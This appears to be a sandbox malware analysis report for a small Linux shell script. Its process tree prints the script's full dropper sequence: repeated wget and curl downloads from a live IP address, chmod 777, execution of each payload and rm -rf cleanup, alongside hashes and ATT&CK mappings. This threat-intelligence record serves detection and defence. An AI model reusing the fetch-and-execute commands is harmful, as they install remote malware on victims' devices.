aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
Size 1KB
Sample260828-hsvb6stxcw
SHA256 aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1
MD5 6f3ebc132443c3c37344af0bf3ce6d39
SHA1 ed5d9f2320e7eda0b07f72070a0b38f259c79792
SHA512 bef9b6203f26aca0078d0769dcf8152f9c83bf85a77d35f675cfeefe3524a252143d9da46e792e7370de155ba3a95006c426526f0a3dbc92c25a34387c991720
TLSH
T1C8315B9F44105E725102CE8E77A2B94C668EA1FB184FEBD4DC584DA982483CCF3A1F4D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
817	chmod
824	chmod
671	chmod
686	chmod
703	chmod
766	chmod
792	chmod
679	chmod
728	chmod
752	chmod
759	chmod
810	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a98c3b	673	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/3645df	680	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/d74fa4	687	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/e03e2f	705	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/68e3f4	729	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/15c756	753	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/b745a6	760	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/875e75	767	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/ca7854	793	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/39ae43	811	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/7e7bae	818	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/52d2f2	825	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3645df	curl
File opened for modification	/tmp/e03e2f	curl
File opened for modification	/tmp/68e3f4	curl
File opened for modification	/tmp/15c756	curl
File opened for modification	/tmp/875e75	curl
File opened for modification	/tmp/52d2f2	curl
File opened for modification	/tmp/a98c3b	curl
File opened for modification	/tmp/d74fa4	curl
File opened for modification	/tmp/b745a6	curl
File opened for modification	/tmp/ca7854	curl
File opened for modification	/tmp/39ae43	curl
File opened for modification	/tmp/7e7bae	curl

/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.182.210.174/a98c3b
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.174/a98c3b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod 777 a98c3b
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/a98c3b
  ./a98c3b bc
  2⤵
  PID:673
- /bin/rm
  rm -rf a98c3b
  2⤵
  PID:675
- /bin/rm
  rm -rf a98c3b.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://5.182.210.174/3645df
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://5.182.210.174/3645df
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 3645df
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/3645df
  ./3645df bc
  2⤵
  PID:680
- /bin/rm
  rm -rf 3645df
  2⤵
  PID:682
- /bin/rm
  rm -rf 3645df.1
  2⤵
  PID:683
- /usr/bin/wget
  wget http://5.182.210.174/d74fa4
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://5.182.210.174/d74fa4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 d74fa4
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/d74fa4
  ./d74fa4 bc
  2⤵
  PID:687
- /bin/rm
  rm -rf d74fa4
  2⤵
  PID:689
- /bin/rm
  rm -rf d74fa4.1
  2⤵
  PID:690
- /usr/bin/wget
  wget http://5.182.210.174/e03e2f
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://5.182.210.174/e03e2f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 e03e2f
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/e03e2f
  ./e03e2f bc
  2⤵
  PID:705
- /bin/rm
  rm -rf e03e2f
  2⤵
  PID:708
- /bin/rm
  rm -rf e03e2f.1
  2⤵
  PID:709
- /usr/bin/wget
  wget http://5.182.210.174/68e3f4
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://5.182.210.174/68e3f4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 68e3f4
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/68e3f4
  ./68e3f4 bc
  2⤵
  PID:729
- /bin/rm
  rm -rf 68e3f4
  2⤵
  PID:732
- /bin/rm
  rm -rf 68e3f4.1
  2⤵
  PID:735
- /usr/bin/wget
  wget http://5.182.210.174/15c756
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://5.182.210.174/15c756
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 15c756
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/15c756
  ./15c756 bc
  2⤵
  PID:753
- /bin/rm
  rm -rf 15c756
  2⤵
  PID:755
- /bin/rm
  rm -rf 15c756.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.174/b745a6
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.174/b745a6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 b745a6
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/b745a6
  ./b745a6 bc
  2⤵
  PID:760
- /bin/rm
  rm -rf b745a6
  2⤵
  PID:762
- /bin/rm
  rm -rf b745a6.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.174/875e75
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.174/875e75
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 875e75
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/875e75
  ./875e75 bc
  2⤵
  PID:767
- /bin/rm
  rm -rf 875e75
  2⤵
  PID:771
- /bin/rm
  rm -rf 875e75.1
  2⤵
  PID:772
- /usr/bin/wget
  wget http://5.182.210.174/ca7854
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://5.182.210.174/ca7854
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 ca7854
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/ca7854
  ./ca7854 bc
  2⤵
  PID:793
- /bin/rm
  rm -rf ca7854
  2⤵
  PID:796
- /bin/rm
  rm -rf ca7854.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://5.182.210.174/39ae43
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://5.182.210.174/39ae43
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 39ae43
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/39ae43
  ./39ae43 bc
  2⤵
  PID:811
- /bin/rm
  rm -rf 39ae43
  2⤵
  PID:813
- /bin/rm
  rm -rf 39ae43.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://5.182.210.174/7e7bae
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://5.182.210.174/7e7bae
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 7e7bae
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/7e7bae
  ./7e7bae bc
  2⤵
  PID:818
- /bin/rm
  rm -rf 7e7bae
  2⤵
  PID:820
- /bin/rm
  rm -rf 7e7bae.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://5.182.210.174/52d2f2
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.174/52d2f2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 52d2f2
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/52d2f2
  ./52d2f2 bc
  2⤵
  PID:825
- /bin/rm
  rm -rf 52d2f2
  2⤵
  PID:827
- /bin/rm
  rm -rf 52d2f2.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a98c3b

Path /tmp/a98c3b
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads